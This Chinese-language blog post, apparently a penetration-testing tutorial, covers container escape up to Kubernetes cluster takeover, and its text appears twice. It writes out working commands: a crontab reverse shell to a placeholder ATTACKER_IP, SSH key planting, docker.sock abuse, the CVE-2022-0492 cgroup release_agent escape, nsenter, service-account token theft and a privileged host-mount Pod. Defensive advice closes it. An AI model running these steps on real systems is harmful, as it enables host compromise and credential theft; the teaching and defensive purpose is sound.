容器不是牢笼。这句话在安全圈流传已久但直到你亲手从一个容器里逃出来才真正理解它的含义。本文完整复盘一次从容器内权限到宿主机Root的逃逸之旅。前言在云原生时代容器安全已成为企业安全体系的最后一道防线。很多人认为容器就是轻量级虚拟机但事实是——容器与宿主机共享同一个内核这意味着攻击面远比想象中大得多。Kubernetes渗透测试中容器逃逸是攻击者从单点失陷升级到集群沦陷的关键一步。掌握了逃逸技术你就能理解为什么云原生安全需要零信任。今天这篇文章我将从配置错误、内核漏洞、特权滥用三个维度完整复盘一条真实可行的容器逃逸路径。全程实战导向硬核到底。一、进入容器攻击的起点1.1 常见的容器入侵路径入口类型典型场景常见漏洞Web应用漏洞容器内运行的Web服务RCE、SQL注入、文件上传Getshell镜像供应链使用了恶意或漏洞镜像镜像中的后门、过时的依赖库CI/CD管道构建过程中被植入恶意代码不安全的Jenkins、GitHub Actions配置暴露的APIKubernetes API Server未授权匿名访问、弱凭证1.2 进入容器后第一件事假设我们已经通过某个漏洞拿到了容器内的Shell比如一个Spring Boot的RCEbash# 确认容器环境 cat /proc/1/cgroup # 输出包含 docker/ 或 kubepods/ 说明在容器内 # 查看挂载点 mount | grep -E docker|kubepods|overlay # 查看特权状态 cat /proc/self/status | grep Cap # CapEff: 0000003fffffffff → 全特权 # CapEff: 0000000000000000 → 无特权关键判断如果CapEff全是f说明是特权容器--privileged模式——逃逸难度极低如果只包含CAP_SYS_ADMIN等少数Cap需要找特定路径如果全零需要利用内核漏洞或配置错误二、逃逸路径一特权容器 挂载宿主机根目录这是最经典的逃逸方式成功率接近100%。2.1 检测特权模式bash# 检查是否在特权容器中 ip link add dummy0 type dummy # 如果成功说明拥有NET_ADMIN权限很可能是特权容器 # 更精确的检查 cat /proc/self/status | grep CapEff # 若返回 0000003fffffffff 或 0000001fffffffff即为特权容器2.2 查找宿主机根目录挂载点特权容器通常挂载了宿主机的根目录bash# 查找挂载点 df -h | grep -E /dev/|overlay # 常见挂载位置 ls -la /host/ ls -la /rootfs/ ls -la /mnt/ ls -la /var/lib/docker/如果发现宿主机根目录挂载在/hostbash# 写入计划任务获得宿主机Shell echo * * * * * root /bin/bash -c bash -i /dev/tcp/ATTACKER_IP/4444 01 /host/etc/crontab # 或者在宿主机SSH目录写入公钥 echo ssh-rsa AAA... /host/root/.ssh/authorized_keys等待计划任务执行获得宿主机Root权限。2.3 另一种方式通过Docker Socketbash# 检查是否存在Docker Socket ls -la /var/run/docker.sock # srw-rw---- 1 root docker 0 ... /var/run/docker.sock # 如果存在用docker命令启动一个特权容器并挂载宿主机根目录 docker run -it --privileged --pidhost -v /:/host alpine chroot /host /bin/bash # 直接获得宿主机root Shell三、逃逸路径二内核漏洞利用CVE-2022-0492如果容器没有特权但仍然可以逃逸——前提是宿主机内核存在漏洞。3.1 漏洞背景CVE-2022-0492Linux内核cgroup中的release_agent功能存在权限提升漏洞。普通用户在特定条件下可以修改release_agent文件在容器逃逸场景中可直接获取宿主机权限。3.2 利用条件容器拥有CAP_SYS_ADMIN权限大多数非特权容器默认拥有宿主机内核版本 5.173.3 利用步骤bash# 1. 在当前容器内创建一个cgroup mkdir /tmp/cgrp mount -t cgroup -o memory cgroup /tmp/cgrp mkdir /tmp/cgrp/x # 2. 设置release_agent指向恶意脚本 echo /tmp/escape.sh /tmp/cgrp/release_agent # 3. 编写逃逸脚本 echo #!/bin/sh chmod 777 /host-root /tmp/escape.sh chmod x /tmp/escape.sh # 4. 触发cgroup释放机制 sh -c echo \$\$ /tmp/cgrp/x/cgroup.procs sleep 1 # 如果成功/host-root目录权限变为777内核漏洞逃逸的成功率取决于宿主机内核版本。2026年的真实环境大部分云厂商已经修补了常见逃逸漏洞但仍然存在大量存量漏洞。四、逃逸路径三配置错误引发的灾难4.1 hostNetwork模式如果Pod使用了hostNetwork: truebash# 容器内查看宿主机网络命名空间 ip addr # 会看到宿主机的eth0等物理网卡 # 直接访问宿主机本地服务 curl 127.0.0.1:10248 # kubelet健康检查端口 curl 127.0.0.1:10250 # kubelet API如果能访问kubelet API且未授权可以直接在宿主机上执行命令。4.2 hostPID模式如果Pod使用了hostPID: truebash# 查看宿主机所有进程 ps aux # 找到宿主机进程的PID进入其命名空间 nsenter -t 1 -m -u -i -n -p /bin/bash # 获得宿主机Shell4.3 挂载了hostPath检查是否有高权限的hostPath挂载bashmount | grep -E /host|/root|/var/lib如果挂载了/var/lib/kubelet或/etc/kubernetes很可能拿到K8s集群的配置文件kubeconfig从而控制整个集群。五、Kubernetes集群渗透从单容器到集群掌控5.1 Service Account泄露每个Pod默认挂载了一个Service Account的tokenbashcat /var/run/secrets/kubernetes.io/serviceaccount/token cat /var/run/secrets/kubernetes.io/serviceaccount/namespace如果该Service Account拥有高权限如cluster-admin直接使用该token访问Kubernetes APIbashcurl -k -H Authorization: Bearer TOKEN https://kubernetes.default.svc/api/v1/namespaces/default/pods实战中我们至少拿下了一个拥有list secrets权限的Service Account这已经足够读取所有namespace的敏感信息。5.2 K8s API Server直接操作bash# 使用kubectl如果容器内存在 kubectl --tokenTOKEN get pods --all-namespaces # 创建特权Pod实现宿主机逃逸 cat EOF | kubectl apply -f - apiVersion: v1 kind: Pod metadata: name: escape-pod spec: containers: - name: escape image: alpine command: [/bin/sh] args: [-c, sleep 3600] securityContext: privileged: true volumeMounts: - mountPath: /host name: host-root volumes: - name: host-root hostPath: path: / nodeName: 目标节点 EOF这个新创建的Pod会以特权模式运行并挂载了宿主机的根目录——从容器内进入/host就是宿主机根文件系统。六、实战案例复盘在一次K8s渗透测试中我遇到了如下环境容器有CAP_SYS_ADMIN非特权模式宿主机内核版本5.4.0存在CVE-2022-0492K8s版本1.24Pod Service Account拥有list secrets权限攻击路径通过Web应用的RCE进入容器利用CVE-2022-0492逃逸到宿主机获得Root权限从宿主机读取/etc/kubernetes/admin.conf获得集群管理员凭证使用kubectl创建特权DaemonSet一键拿下全部节点从进入容器到控制整个集群用时不到2小时。七、防御建议7.1 立即行动措施说明禁止特权容器Pod安全策略中设置privileged: false禁止hostNetwork/hostPID除非绝对必要否则不使用限制hostPath挂载仅允许只读且限制可挂载的路径最小化Service Account权限遵循最小权限原则不使用默认SA更新内核修复已知逃逸漏洞CVE-2022-0492等7.2 深度防御启用Pod安全准入控制器Pod Security Admission使用OPA/Gatekeeper实施细粒度策略部署容器运行时安全监控Falco定期进行镜像扫描和漏洞评估7.3 检测与响应关注以下可疑行为容器内执行mount、nsenter等命令访问/var/run/docker.sock修改/proc/sys或/sys/fs/cgroup创建特权Pod或DaemonSet结语容器逃逸的核心本质上是对共享内核和错误配置的利用。无论是挂载宿主机根目录、利用cgroup漏洞还是通过K8s API创建特权Pod最终的目标都是打破容器的牢笼。云原生安全没有银弹。纵深防御、最小权限、持续监控——这三者缺一不可。作为安全从业者理解攻击者的路径才能更好地守护自己的容器阵地。 文末福利我整理了一份《K8s渗透测试实战手册》包含容器逃逸检测脚本K8s权限提升速查表Falco规则配置示例常见逃逸漏洞POC合集需要的朋友请【点赞收藏评论我想要手册】然后私信我领取下期预告《内存安全革命Rust如何改写Linux内核的安全基因》—— 敬请期待
容器逃逸实战：从Docker突破到K8s集群控制的完整攻击链
容器不是牢笼。这句话在安全圈流传已久但直到你亲手从一个容器里逃出来才真正理解它的含义。本文完整复盘一次从容器内权限到宿主机Root的逃逸之旅。前言在云原生时代容器安全已成为企业安全体系的最后一道防线。很多人认为容器就是轻量级虚拟机但事实是——容器与宿主机共享同一个内核这意味着攻击面远比想象中大得多。Kubernetes渗透测试中容器逃逸是攻击者从单点失陷升级到集群沦陷的关键一步。掌握了逃逸技术你就能理解为什么云原生安全需要零信任。今天这篇文章我将从配置错误、内核漏洞、特权滥用三个维度完整复盘一条真实可行的容器逃逸路径。全程实战导向硬核到底。一、进入容器攻击的起点1.1 常见的容器入侵路径入口类型典型场景常见漏洞Web应用漏洞容器内运行的Web服务RCE、SQL注入、文件上传Getshell镜像供应链使用了恶意或漏洞镜像镜像中的后门、过时的依赖库CI/CD管道构建过程中被植入恶意代码不安全的Jenkins、GitHub Actions配置暴露的APIKubernetes API Server未授权匿名访问、弱凭证1.2 进入容器后第一件事假设我们已经通过某个漏洞拿到了容器内的Shell比如一个Spring Boot的RCEbash# 确认容器环境 cat /proc/1/cgroup # 输出包含 docker/ 或 kubepods/ 说明在容器内 # 查看挂载点 mount | grep -E docker|kubepods|overlay # 查看特权状态 cat /proc/self/status | grep Cap # CapEff: 0000003fffffffff → 全特权 # CapEff: 0000000000000000 → 无特权关键判断如果CapEff全是f说明是特权容器--privileged模式——逃逸难度极低如果只包含CAP_SYS_ADMIN等少数Cap需要找特定路径如果全零需要利用内核漏洞或配置错误二、逃逸路径一特权容器 挂载宿主机根目录这是最经典的逃逸方式成功率接近100%。2.1 检测特权模式bash# 检查是否在特权容器中 ip link add dummy0 type dummy # 如果成功说明拥有NET_ADMIN权限很可能是特权容器 # 更精确的检查 cat /proc/self/status | grep CapEff # 若返回 0000003fffffffff 或 0000001fffffffff即为特权容器2.2 查找宿主机根目录挂载点特权容器通常挂载了宿主机的根目录bash# 查找挂载点 df -h | grep -E /dev/|overlay # 常见挂载位置 ls -la /host/ ls -la /rootfs/ ls -la /mnt/ ls -la /var/lib/docker/如果发现宿主机根目录挂载在/hostbash# 写入计划任务获得宿主机Shell echo * * * * * root /bin/bash -c bash -i /dev/tcp/ATTACKER_IP/4444 01 /host/etc/crontab # 或者在宿主机SSH目录写入公钥 echo ssh-rsa AAA... /host/root/.ssh/authorized_keys等待计划任务执行获得宿主机Root权限。2.3 另一种方式通过Docker Socketbash# 检查是否存在Docker Socket ls -la /var/run/docker.sock # srw-rw---- 1 root docker 0 ... /var/run/docker.sock # 如果存在用docker命令启动一个特权容器并挂载宿主机根目录 docker run -it --privileged --pidhost -v /:/host alpine chroot /host /bin/bash # 直接获得宿主机root Shell三、逃逸路径二内核漏洞利用CVE-2022-0492如果容器没有特权但仍然可以逃逸——前提是宿主机内核存在漏洞。3.1 漏洞背景CVE-2022-0492Linux内核cgroup中的release_agent功能存在权限提升漏洞。普通用户在特定条件下可以修改release_agent文件在容器逃逸场景中可直接获取宿主机权限。3.2 利用条件容器拥有CAP_SYS_ADMIN权限大多数非特权容器默认拥有宿主机内核版本 5.173.3 利用步骤bash# 1. 在当前容器内创建一个cgroup mkdir /tmp/cgrp mount -t cgroup -o memory cgroup /tmp/cgrp mkdir /tmp/cgrp/x # 2. 设置release_agent指向恶意脚本 echo /tmp/escape.sh /tmp/cgrp/release_agent # 3. 编写逃逸脚本 echo #!/bin/sh chmod 777 /host-root /tmp/escape.sh chmod x /tmp/escape.sh # 4. 触发cgroup释放机制 sh -c echo \$\$ /tmp/cgrp/x/cgroup.procs sleep 1 # 如果成功/host-root目录权限变为777内核漏洞逃逸的成功率取决于宿主机内核版本。2026年的真实环境大部分云厂商已经修补了常见逃逸漏洞但仍然存在大量存量漏洞。四、逃逸路径三配置错误引发的灾难4.1 hostNetwork模式如果Pod使用了hostNetwork: truebash# 容器内查看宿主机网络命名空间 ip addr # 会看到宿主机的eth0等物理网卡 # 直接访问宿主机本地服务 curl 127.0.0.1:10248 # kubelet健康检查端口 curl 127.0.0.1:10250 # kubelet API如果能访问kubelet API且未授权可以直接在宿主机上执行命令。4.2 hostPID模式如果Pod使用了hostPID: truebash# 查看宿主机所有进程 ps aux # 找到宿主机进程的PID进入其命名空间 nsenter -t 1 -m -u -i -n -p /bin/bash # 获得宿主机Shell4.3 挂载了hostPath检查是否有高权限的hostPath挂载bashmount | grep -E /host|/root|/var/lib如果挂载了/var/lib/kubelet或/etc/kubernetes很可能拿到K8s集群的配置文件kubeconfig从而控制整个集群。五、Kubernetes集群渗透从单容器到集群掌控5.1 Service Account泄露每个Pod默认挂载了一个Service Account的tokenbashcat /var/run/secrets/kubernetes.io/serviceaccount/token cat /var/run/secrets/kubernetes.io/serviceaccount/namespace如果该Service Account拥有高权限如cluster-admin直接使用该token访问Kubernetes APIbashcurl -k -H Authorization: Bearer TOKEN https://kubernetes.default.svc/api/v1/namespaces/default/pods实战中我们至少拿下了一个拥有list secrets权限的Service Account这已经足够读取所有namespace的敏感信息。5.2 K8s API Server直接操作bash# 使用kubectl如果容器内存在 kubectl --tokenTOKEN get pods --all-namespaces # 创建特权Pod实现宿主机逃逸 cat EOF | kubectl apply -f - apiVersion: v1 kind: Pod metadata: name: escape-pod spec: containers: - name: escape image: alpine command: [/bin/sh] args: [-c, sleep 3600] securityContext: privileged: true volumeMounts: - mountPath: /host name: host-root volumes: - name: host-root hostPath: path: / nodeName: 目标节点 EOF这个新创建的Pod会以特权模式运行并挂载了宿主机的根目录——从容器内进入/host就是宿主机根文件系统。六、实战案例复盘在一次K8s渗透测试中我遇到了如下环境容器有CAP_SYS_ADMIN非特权模式宿主机内核版本5.4.0存在CVE-2022-0492K8s版本1.24Pod Service Account拥有list secrets权限攻击路径通过Web应用的RCE进入容器利用CVE-2022-0492逃逸到宿主机获得Root权限从宿主机读取/etc/kubernetes/admin.conf获得集群管理员凭证使用kubectl创建特权DaemonSet一键拿下全部节点从进入容器到控制整个集群用时不到2小时。七、防御建议7.1 立即行动措施说明禁止特权容器Pod安全策略中设置privileged: false禁止hostNetwork/hostPID除非绝对必要否则不使用限制hostPath挂载仅允许只读且限制可挂载的路径最小化Service Account权限遵循最小权限原则不使用默认SA更新内核修复已知逃逸漏洞CVE-2022-0492等7.2 深度防御启用Pod安全准入控制器Pod Security Admission使用OPA/Gatekeeper实施细粒度策略部署容器运行时安全监控Falco定期进行镜像扫描和漏洞评估7.3 检测与响应关注以下可疑行为容器内执行mount、nsenter等命令访问/var/run/docker.sock修改/proc/sys或/sys/fs/cgroup创建特权Pod或DaemonSet结语容器逃逸的核心本质上是对共享内核和错误配置的利用。无论是挂载宿主机根目录、利用cgroup漏洞还是通过K8s API创建特权Pod最终的目标都是打破容器的牢笼。云原生安全没有银弹。纵深防御、最小权限、持续监控——这三者缺一不可。作为安全从业者理解攻击者的路径才能更好地守护自己的容器阵地。 文末福利我整理了一份《K8s渗透测试实战手册》包含容器逃逸检测脚本K8s权限提升速查表Falco规则配置示例常见逃逸漏洞POC合集需要的朋友请【点赞收藏评论我想要手册】然后私信我领取下期预告《内存安全革命Rust如何改写Linux内核的安全基因》—— 敬请期待
